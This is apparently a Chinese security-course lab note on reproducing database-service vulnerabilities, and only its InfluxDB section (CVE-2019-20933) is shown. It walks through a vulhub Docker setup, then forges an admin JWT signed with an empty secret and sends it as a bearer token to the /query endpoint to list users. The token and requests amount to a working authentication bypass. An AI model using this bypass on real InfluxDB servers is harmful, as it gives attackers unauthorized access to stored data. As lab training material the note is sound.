第56天:服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现
第56天:服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现
#知识点:
1、服务攻防-数据库类型安全
2、influxdb-未授权访问-jwt 验证
3、H2database-未授权访问-配置不当
4、CouchDB-权限绕过配合 RCE-漏洞
5、ElasticSearch-文件写入&RCE-漏洞
#章节内容:
常见服务应用的安全测试:
1、配置不当-未授权访问
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
#前置知识:
应用服务安全测试流程:见图
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等
一、influxdb-未授权访问-jwt 验证
什么是inluxdb?
inluxdb是一种数据库,与传统的mysql数据库相比,inluxdb更注重时间顺序的存储,一般适用于存储系统的监控数据
inluxdb的默认端口:8086 8088
漏洞复现:
Influxdb-未授权访问-Jwt 验证不当
vulhub地址:https://github.com/vulhub/vulhub/blob/master/influxdb/CVE-2019-20933/README.zh-cn.md
启动环境:
cd vulhub/influxdb/CVE-2019-20933
sudo docker-compose up -d
漏洞利用:
- 首先判断8086端口是否开放
- 访问ip:8086/debug/vars看看漏洞是否存在
-
请求地址:ip:8086/query
用post提交sql语句,如:db=sample&q=show+users
-
利用jwt未授权绕过
{ "alg": "HS256", "typ": "JWT" } { "username": "admin", "exp": 1676346267 } //这里的exp就是时间戳,要保证时间戳转化后的时间是未来的时间
注意密钥这里要留空
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzMyNDYyOTY2fQ.nuBXeBeFqjN2h-0tiFLLw42g-HL7PgZ2h_zUkc2zdEs
-
抓取/query的数据包,用post请求方式,并添加一个请求头:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzMyNDYyOTY2fQ.nuBXeBeFqjN2h-0tiFLLw42g-HL7PgZ2h_zUkc2zdEs //注意:bearer后面要留一个空格
在底下添加键值对:
db=sample&q=show+users
可以看到访问到了